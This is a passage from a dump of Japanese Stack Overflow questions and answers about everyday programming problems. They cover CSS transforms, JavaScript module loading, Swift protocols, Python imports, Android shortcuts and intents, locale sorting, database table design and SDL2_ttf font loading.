"body": "最初にコメントに書いた通り、`transform-origin`の問題だと思われます。\n\n質問のコードでは変形の原点である`transform-\norigin`が明示されていないため、`transform`は`body`要素の中心を基準として適用されます。このため`a`要素にマウスをホバーし、`transform`が適用された瞬間に`a`要素の位置が変わり、結果としてすぐに`onmouseleave`が発生することになります。\n\nこれに対処するためには`onmouseenter`で`a`の場所に応じた`transform-\norigin`を設定してやる必要があります。例えばカーソル位置(`e.clientX`, `e.clientY`)を基準にするのであれば\n\n```\n\n $('a').on('mouseenter', function (e) {\n var p = $('body').offset();\n var w = $('body').width();\n var h = $('body').height();\n var xr = (e.clientX - p.left) / w;\n var yr = (e.clientY - p.top) / h;\n var origin = (100 * xr).toString() + '% ' + 100 * yr + '%';\n $('body').addClass('zoom').css({\n '-webkit-transform-origin': origin,\n 'transform-origin': origin\n });\n });\n \n```\n\nのように計算してやる必要があります。上では単位に`%`を使用していますが、`px`でもよいです。またリンクの中心(`$(this).offset().left\n+ $(this).width() / 2`)を基準とすることもできます。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T04:01:38.827",
"id": "32068",
"last_activity_date": "2017-01-23T04:01:38.827",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "5750",
"parent_id": "32054",
"post_type": "answer",
"score": 0
}
]
| 32054 | 32068 | 32068 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "BitcoinトランザクションのブロードキャストができるWebサイトをつくりたく、[このサイト](http://noumenon-\nth.net/webstrategy/2015/04/30/bitcoin/)のコードを一部改変し、ブラウザで実行したところ以下のエラーが出ました。\n\n```\n\n Error: Cannot find module 'bitcore-explorers'\n \n```\n\n[](https://i.stack.imgur.com/9rGZD.png)\n\nBitCoreというJavaScriptライブラリの[ドキュメント](https://bitcore.io/guides/browser)を参考にbitcore-\nlibとbitcore-explorersを`bower install`したのですが、モジュールが見つからないのは何が原因なのでしょうか。\n\nindex.html\n\n```\n\n <!DOCTYPE html>\n <html lang=\"ja\">\n <head>\n <meta charset=\"utf-8\">\n \n <script src=\"bower_components/bitcore-lib/bitcore-lib.min.js\"></script>\n <script src=\"bower_components/bitcore-explorers/bitcore-explorers.min.js\"></script>\n \n </head>\n <body>\n \n <script type=\"text/javascript\">\n \n var bitcore = require('bitcore-lib');\n var explorers = require('bitcore-explorers');\n var insight = new explorers.Insight();\n \n var a_address = \"\";//Aアドレス\n var privateKey =\"\";//Aのプライベートキー\n \n getUTXO(a_address, function(utxos){\n \n utxos.forEach(function(utxo){console.log(utxo.toJSON());});\n \n //トランザクション生成\n var transaction = new bitcore.Transaction().fee(10000)\n .from(utxos)\n .addData('')\n .change('') // Sets up a change address where the rest of the funds will go\n .sign(privateKey)\n \n console.log(\"transaction\",transaction.toJSON());\n \n broadcast(transaction, function(id){\n console.log(id);\n });\n \n });\n \n function getUTXO(address, done)\n {\n //utxosの取得\n insight.getUnspentUtxos(address, function(err, utxos) {\n if (err) {\n console.log(err);\n }\n done(utxos);\n });\n }\n \n function broadcast(tx, done)\n {\n //ブロードキャスト\n insight.broadcast(tx, function(err, id) {\n if (err) {\n console.log(err);\n }\n done(id);\n });\n }\n \n </script>\n \n </body>\n </html>\n \n```",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-22T12:28:20.913",
"favorite_count": 0,
"id": "32056",
"last_activity_date": "2017-02-24T17:10:53.077",
"last_edit_date": "2017-01-22T19:02:45.550",
"last_editor_user_id": "18443",
"owner_user_id": "18443",
"post_type": "question",
"score": 0,
"tags": [
"javascript",
"browserify"
],
"title": "JavaScriptでrequireするとError: Cannot find module",
"view_count": 1901
} | [
{
"body": "自己回答です。 \nbitcore-explorersを[GitHub](https://github.com/bitpay/bitcore-\nexplorers)からinstallしたところ、問題なくrequireできました。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T00:12:48.000",
"id": "32062",
"last_activity_date": "2017-01-23T00:12:48.000",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "18443",
"parent_id": "32056",
"post_type": "answer",
"score": 1
}
]
| 32056 | null | 32062 |
{
"accepted_answer_id": "32058",
"answer_count": 1,
"body": "複数のクラスに同じ名前のプロパティがあり、 \nそのプロパティを参照するクラスを作成したいと考えております。\n\n言葉で表現しにくいので、以下にサンプルを記載させて頂きました。 \nクラスa,bには同じ名前のプロパティpがあり、 \nクラスmonitorはプロパティpを参照するクラスになります。 \nこのクラスmonitorにクラス名aかbを与えることで、 \nプロパティpを参照させたいと考えております。 \nクラスはa,b,c,d,...と増え(プロパティpは必ずあります)、 \n動的にクラス名をmonitorに与えたいと考えております。\n\n```\n\n class a {\n var p: String!\n init() {\n self.p = \"class a\"\n }\n }\n class b {\n var p: String!\n init() {\n self.p = \"class b\"\n }\n }\n \n // ここではクラスa専用になっているが、クラスbでも共通で利用したい\n class monitor {\n var i: a!\n init() {\n self.i = a()\n print(self.i.p) // class a\n }\n }\n let i = monitor() // クラスaかbを渡して、共通のpを参照させたい\n \n```\n\n伝わりにくい内容ではございますが、どうかよろしくお願い致します。 \nより便利な方法がありましたらご教授頂けると幸いです。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-22T13:25:48.700",
"favorite_count": 0,
"id": "32057",
"last_activity_date": "2017-01-22T18:44:28.790",
"last_edit_date": "2017-01-22T18:44:28.790",
"last_editor_user_id": "5519",
"owner_user_id": "20142",
"post_type": "question",
"score": 0,
"tags": [
"swift",
"swift2",
"swift3"
],
"title": "クラス名を引数に与えて、与えられたクラス内の同じ名前のプロパティを参照させたい",
"view_count": 1992
} | [
{
"body": "直接の回答でなくて恐縮ですが、コメントに書いた「クラスオブジェクト(メタクラス)かインスタンスを渡せばいい」と言うのをコードにしておきます。できれば時間をとってご覧いただいた上で、本当にクラス名を文字列として渡す必要があるのかどうかを考えるための一助にしてください。\n\n* * *\n\nインスタンスを渡す\n\n```\n\n import Foundation\n \n //\n //インスタンスを渡す\n //\n protocol MonitorTargetType {\n var monitoredProperty: String {get}\n }\n \n class TargetClassA: MonitorTargetType {\n var monitoredProperty: String\n init() {\n self.monitoredProperty = \"class TargetClassA\"\n }\n }\n class TargetClassB: MonitorTargetType {\n var monitoredProperty: String\n init() {\n self.monitoredProperty = \"class TargetClassB\"\n }\n }\n \n class Monitor {\n var target: MonitorTargetType\n init(target: MonitorTargetType) {\n self.target = target\n print(self.target.monitoredProperty) //->class TargetClassA\n }\n }\n let i = Monitor(target: TargetClassA())\n \n```\n\n* * *\n\nクラスオブジェクトを渡す\n\n```\n\n import Foundation\n \n //\n //クラスオブジェクトを渡す\n //\n protocol MonitorTargetType {\n init()\n \n var monitoredProperty: String {get}\n }\n \n class TargetClassA: MonitorTargetType {\n var monitoredProperty: String\n required init() {\n self.monitoredProperty = \"class TargetClassA\"\n }\n }\n class TargetClassB: MonitorTargetType {\n var monitoredProperty: String\n required init() {\n self.monitoredProperty = \"class TargetClassB\"\n }\n }\n \n class Monitor {\n var target: MonitorTargetType\n init<T: MonitorTargetType>(targetType: T.Type) {\n self.target = targetType.init()\n print(self.target.monitoredProperty) //->class TargetClassB\n }\n }\n let i = Monitor(targetType: TargetClassB.self)\n \n```\n\n文字列をクラスオブジェクトに変換したいのであれば、[別項](https://ja.stackoverflow.com/a/31712/13972)に述べたように辞書型を併用する手もあります。Swiftは強い型付けを行う言語ですので、できるだけ型安全なコーディングを心がけた方がSwiftのメリットを生かせるようなコードになるのですが。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-22T14:27:15.933",
"id": "32058",
"last_activity_date": "2017-01-22T14:27:15.933",
"last_edit_date": "2017-04-13T12:52:39.113",
"last_editor_user_id": "-1",
"owner_user_id": "13972",
"parent_id": "32057",
"post_type": "answer",
"score": 1
}
]
| 32057 | 32058 | 32058 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "環境 windows10 \n言語 python3.5\n\npythonで書かれたプログラムをコマンドプロンプトから \n実行してもエラーが出てしまいます\n\n```\n\n C:\\Users\\user\\gv\\ana>python AAA.py\n Traceback (most recent call last):\n File \"AAA.py\", line 1, in <module>\n from lib import BBB\n ImportError: cannot import name 'BBB'\n \n```\n\nというエラーが出ます。 \n(現在いるディレクトリがanaというディレクトリで、そこにAAA.pyというファイルもあります) \n環境変数も変えましたがうまくいきませんでした。 \n今のところ次の手が思いつきません。 \nちなみにほかのパソコンでは動作します。 \nそのためソースコードなどの問題ではないようです。 \nどなたかご教示いただければと存じます。\n\n```\n\n C:.\n ├─ana\n │ └─ AAA.py\n | └─ __init__.py \n |\n └─lib\n └─ BBB.py\n \n AAA.pyの中身\n \n from lib import BBB\n```\n\n以上です。よろしくお願いします。",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T01:34:58.463",
"favorite_count": 0,
"id": "32064",
"last_activity_date": "2017-01-25T13:09:04.077",
"last_edit_date": "2017-01-25T13:09:04.077",
"last_editor_user_id": "3054",
"owner_user_id": "20348",
"post_type": "question",
"score": 1,
"tags": [
"python"
],
"title": "親ディレクトリにあるモジュールを使用すると ImportError になる",
"view_count": 1717
} | [
{
"body": "親ディレクトリのパスはAAA.pyから見えないため、sys.pathに追加する方法はどうでしょうか。\n\n```\n\n import sys\n \n sys.path.append('../')\n from lib import BBB\n \n```",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T02:10:18.320",
"id": "32066",
"last_activity_date": "2017-01-23T19:42:31.030",
"last_edit_date": "2017-01-23T19:42:31.030",
"last_editor_user_id": "12732",
"owner_user_id": "7754",
"parent_id": "32064",
"post_type": "answer",
"score": 1
}
]
| 32064 | null | 32066 |
{
"accepted_answer_id": null,
"answer_count": 0,
"body": "getColorを使用したく、API23以降はContextCompat.getColor()でできるところまではわかりました。 \nしかし、実際に書いてみると「getColor()はContextCompatで未定義です」と言われてエラーになります。ライブラリはandroid.support.v4.context.ContextCompatをインポートしています。 \n他に問題はあるのでしょうか。\n\nEclipseで開発しています。初心者なので調べてはいますが、解決しないのでよろしくお願いします。",
"comment_count": 5,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T01:35:35.330",
"favorite_count": 0,
"id": "32065",
"last_activity_date": "2017-01-23T01:35:35.330",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20275",
"post_type": "question",
"score": 0,
"tags": [
"android",
"eclipse"
],
"title": "getColor()はContextCompatで未定義です",
"view_count": 705
} | []
| 32065 | null | null |
{
"accepted_answer_id": "32072",
"answer_count": 1,
"body": "utf-8 のテキストファイルがあります。このファイルに対して `sort` コマンドを行っても、日本語がソートされないことに気が付きました。\n\n```\n\n % cat test.txt\n あ\n い\n う\n え\n お\n % cat test.txt | sort\n あ\n い\n う\n え\n お\n % cat test2.txt\n お\n え\n う\n い\n あ\n % cat test2.txt | sort\n お\n え\n う\n い\n あ\n \n```\n\n日本語を含んだテキストファイルをするには、どうしたらいいでしょうか。",
"comment_count": 3,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T02:40:32.743",
"favorite_count": 0,
"id": "32067",
"last_activity_date": "2017-01-23T04:22:37.800",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "754",
"post_type": "question",
"score": 0,
"tags": [
"ubuntu",
"shellscript"
],
"title": "日本語を含んだテキストファイルをソートするには?",
"view_count": 437
} | [
{
"body": "```\n\n printf 'お\\nえ\\nう\\nい\\nあ\\n' | LC_ALL=ja_JP.UTF-8 sort\n \n```\n\nとすると\n\n```\n\n あ\n い\n う\n え\n お\n \n```\n\nになりました。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T04:22:37.800",
"id": "32072",
"last_activity_date": "2017-01-23T04:22:37.800",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "754",
"parent_id": "32067",
"post_type": "answer",
"score": 0
}
]
| 32067 | 32072 | 32072 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "Androidのホーム画面にアプリへのショートカットを作成する、ということをJavaのプログラムで行いたいのですが、可能ですか?",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T04:02:48.703",
"favorite_count": 0,
"id": "32069",
"last_activity_date": "2017-03-02T02:02:16.660",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "450",
"post_type": "question",
"score": 0,
"tags": [
"android"
],
"title": "Androidのホーム画面にアプリへのショートカットを追加したい",
"view_count": 1574
} | [
{
"body": "[ホーム画面上にショートカットを作成する方法](http://monoist.atmarkit.co.jp/mn/articles/1203/16/news006.html)の記事がありましたので紹介します。\n\n1.マニフェストにパーミッションを追加する\n\n```\n\n <uses-permission android:name=\"com.android.launcher.permission.INSTALL_SHORTCUT\" />\n \n```\n\n2.下記のコードを実装する\n\n>\n```\n\n> /** アプリのショートカットを作成 */\n> private void makeAppShortCut(Context con){\n> // アプリケーションを起動するためのIntentを作成\n> // 今回はこのアプリ自身(ShortCutTestActivity)を起動するようにした\n> Intent targetIntent = new Intent( Intent.ACTION_MAIN );\n> targetIntent.setClassName( con,\n> \"jp.test.shortcut.ShortCutTestActivity\" );\n> \n> // ショートカットのタイトルは“APPShortCut”\n> // アイコンにはあらかじめ作成しておいた「tips_icon.png」を使用\n> makeShortCut(con, targetIntent, \"APPShortCut\", R.drawable.tips_icon\n> );\n> }\n> /** ショートカット作成の処理 */\n> private void makeShortCut(Context con, Intent targetIntent, String\n> title, int iconResource){\n> // ショートカット作成依頼のためのIntent\n> Intent intent = new\n> Intent(\"com.android.launcher.action.INSTALL_SHORTCUT\");\n> \n> // ショートカットのタップ時に起動するIntentを指定\n> intent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, targetIntent);\n> \n> // ショートカットのアイコンとタイトルを指定\n> Parcelable icon = Intent.ShortcutIconResource.fromContext(con,\n> iconResource);\n> intent.putExtra(Intent.EXTRA_SHORTCUT_ICON_RESOURCE, icon);\n> intent.putExtra(Intent.EXTRA_SHORTCUT_NAME, title);\n> \n> // BroadCastを使って、システムにショートカット作成を依頼する\n> con.sendBroadcast(intent);\n> }\n> \n```\n\n* * *\n\nまた、マニフェストに`intent-filter`で`scheme`が設定されていた場合 \n対象のアプリをURLで開くことが可能になりますので、 \nWEBリンクを作成する方法でも上記機能を実装することが可能です。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T04:16:01.647",
"id": "32070",
"last_activity_date": "2017-01-23T04:16:01.647",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": null,
"parent_id": "32069",
"post_type": "answer",
"score": 1
}
]
| 32069 | null | 32070 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "Chromeアプリからandroidのintentスキーマを使い、アプリがあればアプリを立ち上げて、アプリがなければマーケットに飛ぶことまでは出来て居ます。 \nただ、そのアプリの特定のページに移動する事が出来ない状態です。 \nおそらく、受け渡しするときのパラメーターがうまく引き渡せていないと思います。\n\nなので、アプリ内の特定ページに移動できません。\n\nパラメーターの受け渡しの設定がわかれば教えてください。\n\nちなみに今のパスは \nintent://ファイルのパス#Intent;package=マーケットのユニークID(バンドルID?);scheme=アプリスキーム名;end; \nこんな感じです。\n\n宜しくお願いします。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T04:17:24.250",
"favorite_count": 0,
"id": "32071",
"last_activity_date": "2017-03-27T13:55:33.900",
"last_edit_date": "2017-01-23T06:38:22.260",
"last_editor_user_id": "8000",
"owner_user_id": "20350",
"post_type": "question",
"score": 1,
"tags": [
"android"
],
"title": "intent://でアプリにパラメータを渡したい",
"view_count": 8734
} | [
{
"body": "「アプリ内の特定のページ」は「特定のActivity」と読み替えさせて回答させていただきます。\n\nあとは \n<https://developer.chrome.com/multidevice/android/intents> \n辺りに記載がありますが、「ファイルのパス」という概念はありません。\n\n一応下記にも例を記載します。\n\nリンク側:([]は説明用括弧で実際には不要です。)\n\n```\n\n <a href=\"intent://[host名]/#Intent;scheme=[scheme名];package=[package名];category=android.intent.category.BROWSABLE;action=android.intent.action.VIEW;end;\">Test Link</a>\n \n```\n\nManifest側\n\n```\n\n <activity android:name=\".起動したいActivity\">\n <intent-filter>\n <action android:name=\"android.intent.action.VIEW\" />\n <category android:name=\"android.intent.category.DEFAULT\" />\n <category android:name=\"android.intent.category.BROWSABLE\" />\n <data android:scheme=\"scheme名\"\n android:host=\"host名\" />\n </intent-filter>\n \n```\n\nAction/Categoryは必要に応じて追加可能ですが、manifest側のcategory.BROWSABLEは必須のようです。\n\nアプリを起動したいだけならばschemeとhostだけで起動可能なはずです。 \npackageをつけることで、アプリがインストールされていない場合に該当packageを探しに行きます。\n\n* * *\n\nその他、extra情報等をつけたい場合などにのintent:スキーマ文字列の組み立て方は下記コマンドが便利です。\n\n```\n\n adb shell am to-intent-uri \n \n```\n\n<https://developer.android.com/studio/command-line/adb.html#IntentSpec>",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T09:22:56.373",
"id": "32082",
"last_activity_date": "2017-01-23T11:02:17.930",
"last_edit_date": "2017-01-23T11:02:17.930",
"last_editor_user_id": "19716",
"owner_user_id": "19716",
"parent_id": "32071",
"post_type": "answer",
"score": 2
}
]
| 32071 | null | 32082 |
{
"accepted_answer_id": "32080",
"answer_count": 1,
"body": "UNIX 環境変数 `LC_***` 系に設定する値は [RFC3066](https://www.ietf.org/rfc/rfc3066.txt)\nというか [RFC4646](https://www.ietf.org/rfc/rfc4646.txt)\nにほぼ基づいているようですが、微妙に差異があるようです。 \n\\- 区切りコード: RFC4646 では `%x2D` (ハイフン-マイナス) に対し、環境変数では `%x5F` アンダースコア \n\\- RFC4646 には case insensitive とあるが、環境変数では使い分けがされているようだ\n\nそして実際、下記のようなコマンドを入力してもエラーは出ず結果は同じでした。 \n(cygwin と hpux-11.11 でチェック)\n\n```\n\n $ LC_ALL=ja_JP.utf8 sort hoge.txt > piyo1.txt\n $ LC_ALL=ja-JP.utf8 sort hoge.txt > piyo2.txt\n $ LC_ALL=JA-JP.UTF8 sort hoge.txt > piyo3.txt\n $ LC_ALL=ja-jp.utf8 sort hoge.txt > piyo4.txt\n \n```\n\nQ1. この微妙な差の由来をご存知だったら教えてください。 \nQ2. 環境変数に使う最適記法を教えてください。 \nQ3. URI に使う場合の最適記法を教えてください。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T05:32:04.580",
"favorite_count": 0,
"id": "32073",
"last_activity_date": "2018-05-07T15:07:41.857",
"last_edit_date": "2018-05-07T15:07:41.857",
"last_editor_user_id": "19769",
"owner_user_id": "8589",
"post_type": "question",
"score": 6,
"tags": [
"unix"
],
"title": "RFC4646 と UNIX 環境変数の違い",
"view_count": 208
} | [
{
"body": "部分回答ですが…\n\n`LC_*`および`LANG`が取る値の共通形式はPOSIX([IEEE Std\n1003.1](http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap08.html#tag_08_02))で定義されていて、次のとおりです\n(@modifierは`LANG`以外)。他の形式は実装依存です。\n\n_language_ [_ _territory_ ][. _codeset_ ][@ _modifier_ ]\n\n_language_ と _territory_ は慣習的にはそれぞれ[ISO\n639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes)と[ISO\n3166-1](https://en.wikipedia.org/wiki/ISO_3166-1)が使われてますし、個別の実装のマニュアルでも大抵そう記してあるんですが([例](http://man7.org/linux/man-\npages/man3/setlocale.3.html))、POSIXドキュメント内での明確な言及は見つけられませんでした。RFCの方は明確な言及がありますね。\n\nなお、RFC4646はobsoletedで、最新は[RFC5646](https://www.rfc-\neditor.org/rfc/rfc5646)じゃないかな。\n\n * Q1: 歴史的になぜ差が生じたかはわかりません。規格的には、Unixの環境変数は準拠する規格が違うから、ということになります。アンダースコアのかわりにハイフンでも良し、とするのは実装の拡張だと思います。\n * Q2: 環境変数に使う場合はPOSIXどおり、アンダースコアを使うのが無難だと思います。大文字小文字についてはPOSIX内に定義がなく、ISOでは _language_ を小文字、 _territory_ を大文字、が推奨されていますが、POSIX内の例では _language_ の最初を大文字にしているんですよね。\n * Q3: URIに使う、というのは特定のschemeで定義されてるのでない限りは作成者の自由でしょう。ただ、多くの場面でlanguage tagとして使う場合はRFCの形式の方を使うでしょうから、RFCに合わせておくのが無難じゃないかなと思います。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T09:04:55.117",
"id": "32080",
"last_activity_date": "2017-01-25T04:09:09.007",
"last_edit_date": "2021-10-07T07:34:52.683",
"last_editor_user_id": "-1",
"owner_user_id": "5258",
"parent_id": "32073",
"post_type": "answer",
"score": 4
}
]
| 32073 | 32080 | 32080 |
{
"accepted_answer_id": "32081",
"answer_count": 2,
"body": "たとえなのですが、ショッピングサイトを作っているとします。 \nそして化粧品とゲームが買えるとします。 \nまた買った物の履歴を見れる機能もあるとします。\n\nテーブルの設計をするとき、自分だとこのような場合は、 \n履歴テーブル、化粧品テーブル、ゲームテーブル \nと作ります。\n\n化粧品テーブルのカラムは \nid, 値段、材料 \nゲームテーブルのカラムは \nid, 値段、対応ハードウェアとします。\n\nただここで問題なのは履歴テーブルのカラムです。 \n単純に考えるとこう考えました。 \nid, 化粧品id, ゲームid, 時間\n\nしかしこの構造には問題があります。 \n化粧品idとゲームidのカラムはどちらか一つしか使われないため、後はnullが入ることになります。 \nさらに、玩具や食品などを追加すると空のカラムが増大していきます。\n\nどのように設計するのが良いでしょうか?ご回答よろしくお願いします。",
"comment_count": 6,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T06:14:53.680",
"favorite_count": 0,
"id": "32075",
"last_activity_date": "2017-01-23T09:26:08.350",
"last_edit_date": "2017-01-23T06:49:15.330",
"last_editor_user_id": "20353",
"owner_user_id": "20353",
"post_type": "question",
"score": 1,
"tags": [
"database",
"データベース設計"
],
"title": "複数のテーブルの参照を、一つのカラムで管理するためには?",
"view_count": 2742
} | [
{
"body": "こういったケースでは、ひとつのテーブルで管理するよりきちんとテーブルを分けて整理するほうが好ましいです。\n\n化粧品テーブルとゲームソフトテーブルで共通の要素(商品名)を抽出した、商品テーブルを作りましょう。 \n化粧品なら\n\n * 材料\n\nゲームソフトなら\n\n * 対応ハード\n * ジャンル\n * 対象年齢\n\nといったことは、 **商品に付属する情報とみなせる** ので、付帯情報をまとめるテーブルを作りましょう。\n\nこれで、履歴テーブルからnullのカラムを追い出すことができます。\n\n**商品カテゴリテーブル**\n\n```\n\n id, カテゴリ名\n 1, 化粧品\n 2, ゲームソフト\n \n```\n\n**付帯情報種別テーブル**\n\n```\n\n id, 商品カテゴリid, 付帯情報種別名\n 1, 1, 材料\n 2, 2, 対応ハードウェア\n 3, 2, ジャンル\n 4, 2, 対象年齢\n \n```\n\n**商品テーブル**\n\n```\n\n id, 商品名\n 1, 化粧品A\n 2, ゲームソフトB\n \n```\n\n**付帯情報テーブル**\n\n```\n\n id, 商品id, 付帯情報種別id, 内容\n 1, 1, 1, きれいになるパウダー\n 2, 2, 2, イケてるハード\n 3, 2, 3, はやりのジャンル\n 4, 2, 4, 全年齢\n \n```\n\n**履歴テーブル**\n\n```\n\n id, 商品id, 時間\n 1, 1, 2017-01-01 12:00:00\n 2, 2, 2017-01-01 13:00:00\n 3, 2, 2017-01-01 14:00:00\n \n```\n\n例えでは付帯情報テーブルの\"内容\"に文字列を直接入れていますが、この内容も別テーブルに切り出しても良いでしょう。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T09:06:08.563",
"id": "32081",
"last_activity_date": "2017-01-23T09:06:08.563",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "14973",
"parent_id": "32075",
"post_type": "answer",
"score": 1
},
{
"body": "もし「テーブルを利用するコード側で頑張り尽くす」というのであれば、外部キー制約を使わずテーブル名をレコードに書く、という選択肢を選ぶことができます。\n\n**履歴テーブル**\n\n```\n\n id, 商品id, テーブル名, 対象id, 時間\n 1, 1, 化粧品, 1 2017-01-01 12:00:00\n 2, 2, ゲームソフト, 1 2017-01-01 13:00:00\n 3, 3, ゲームソフト, 2 2017-01-01 14:00:00\n \n```",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T09:26:08.350",
"id": "32083",
"last_activity_date": "2017-01-23T09:26:08.350",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "14973",
"parent_id": "32075",
"post_type": "answer",
"score": 0
}
]
| 32075 | 32081 | 32081 |
{
"accepted_answer_id": "32087",
"answer_count": 1,
"body": "最終的にSDL2_ttfを使用してOpenGLのテクスチャとして読み込ませたいと考えてます。 \nまずSDL2_ttf単体でフォントの読み込みのテストを行いました。\n\n下記のコードは正常に実行できますが、毎回フォントデータを読み込みに行ってしまうため速度が出ません。\n\n```\n\n #include <SDL.h>\n #include <SDL_ttf.h>\n #include <iostream>\n \n using namespace std;\n \n int main( int argc, char* argv[] ){\n SDL_Init( SDL_INIT_EVERYTHING );\n TTF_Init();\n while( true ){\n SDL_RWops *rwops = SDL_RWFromFile( \"font.ttf\", \"rb\" );\n TTF_Font *font = TTF_OpenFontRW( rwops, 0, 14 );\n SDL_Surface *texture = TTF_RenderUTF8_Blended( font, \"test\", [](){\n SDL_Color c= { 255,255,255,255 };\n return c;\n }());\n cout << TTF_GetError() << endl;\n TTF_CloseFont( font );\n SDL_RWclose( rwops );\n SDL_Delay( 100 );\n }\n TTF_Quit();\n SDL_Quit();\n return 0;\n }\n \n```\n\nそこでrwopsに読み込む処理をループの外に置いたところ、TTF_RenderUTF8_Blendedでブレークし、以下のエラーが出力されました。\n\n> 0x71002A85 (SDL2_ttf.dll) で例外がスローされました (SDL_Test.exe 内): 0xC0000005: \n> 場所 0x00000000 の読み取り中にアクセス違反が発生しました\n\nTTF_GetError()からは\"Couldn't load font file\"と出力されました。\n\n```\n\n #include <SDL.h>\n #include <SDL_ttf.h>\n #include <iostream>\n \n using namespace std;\n \n int main( int argc, char* argv[] ){\n SDL_Init( SDL_INIT_EVERYTHING );\n TTF_Init();\n SDL_RWops *rwops = SDL_RWFromFile( \"font.ttf\", \"rb\" );\n while( true ){\n TTF_Font *font = TTF_OpenFontRW( rwops, 0, 14 );\n cout << TTF_GetError() << endl;\n SDL_Surface *texture = TTF_RenderUTF8_Blended( font, \"test\", [](){\n SDL_Color c= { 255,255,255,255 };\n return c;\n }());\n TTF_CloseFont( font );\n SDL_Delay( 100 );\n }\n SDL_RWclose( rwops );\n TTF_Quit();\n SDL_Quit();\n return 0;\n }\n \n```\n\nおそらくどこかでrwopsがクリアされたと考えていますが何処だかわからず・・・ \n分かる方いたらご教授お願いします。\n\n開発環境はVisualStudio2015です。 \nフォントデータは読み込めるディレクトリに配置しています。\n\nSDL2リファレンス \n<http://sdl2referencejp.osdn.jp/index.html>",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T07:37:46.087",
"favorite_count": 0,
"id": "32076",
"last_activity_date": "2017-01-23T12:25:36.270",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20354",
"post_type": "question",
"score": 0,
"tags": [
"c++"
],
"title": "SDL2_ttfを使用したフォントの読み込みで失敗",
"view_count": 347
} | [
{
"body": "オフィシャルではありませんが,githubにあるSDL_ttfのミラーリポジトリを見てみると,`TTF_CloseFont`が内部で`SDL_RWclose`を呼び出しているようです. \n<https://github.com/ErintLabs/SDL_ttf/blob/a9fbd1912c9a8015ce4bcc2a4ac93be745c563a2/SDL_ttf.c#L933>\n\n質問とは関係ないですが,`font`も外に出してしまうのはどうでしょうか? \nいちいち何度も開いては閉じるのは効率が悪そうです.\n\n```\n\n #include <SDL.h>\n #include <SDL_ttf.h>\n #include <iostream>\n \n using namespace std;\n \n int main( int argc, char* argv[] ){\n SDL_Init( SDL_INIT_EVERYTHING );\n TTF_Init();\n SDL_RWops *rwops = SDL_RWFromFile( \"font.ttf\", \"rb\" );\n TTF_Font *font = TTF_OpenFontRW( rwops, 0, 14 );\n while( true ){\n cout << TTF_GetError() << endl;\n SDL_Surface *texture = TTF_RenderUTF8_Blended( font, \"test\", [](){\n SDL_Color c= { 255,255,255,255 };\n return c;\n }());\n \n SDL_Delay( 100 );\n }\n TTF_CloseFont( font );\n //SDL_RWclose( rwops );\n TTF_Quit();\n SDL_Quit();\n return 0;\n }\n \n```",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T12:25:36.270",
"id": "32087",
"last_activity_date": "2017-01-23T12:25:36.270",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "4548",
"parent_id": "32076",
"post_type": "answer",
"score": 0
}
]
| 32076 | 32087 | 32087 |
{
"accepted_answer_id": "32084",
"answer_count": 1,
"body": "SDKManagerを開いてもリストにはすでにインストールできているもの以外は表示されず、Logをみると、 \nnull \nFetching URL: <http://dl.google.com/android/repository/repository-11.xml> \nDone loading packages. \nとなってFetchエラーというわけではないのです。1行目のnullというのも気になりますがよくわかりません。これはどういうことが考えられるのでしょうか。 \nSDKManager以外にSupport Libraryを更新できる方法があればそちらでも構いません。 \n教えて頂きたいです。",
"comment_count": 7,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T08:41:22.263",
"favorite_count": 0,
"id": "32078",
"last_activity_date": "2017-01-23T09:50:19.177",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20275",
"post_type": "question",
"score": 0,
"tags": [
"android",
"eclipse"
],
"title": "SDKManagerでFetchエラーじゃないのに一覧表示されない",
"view_count": 993
} | [
{
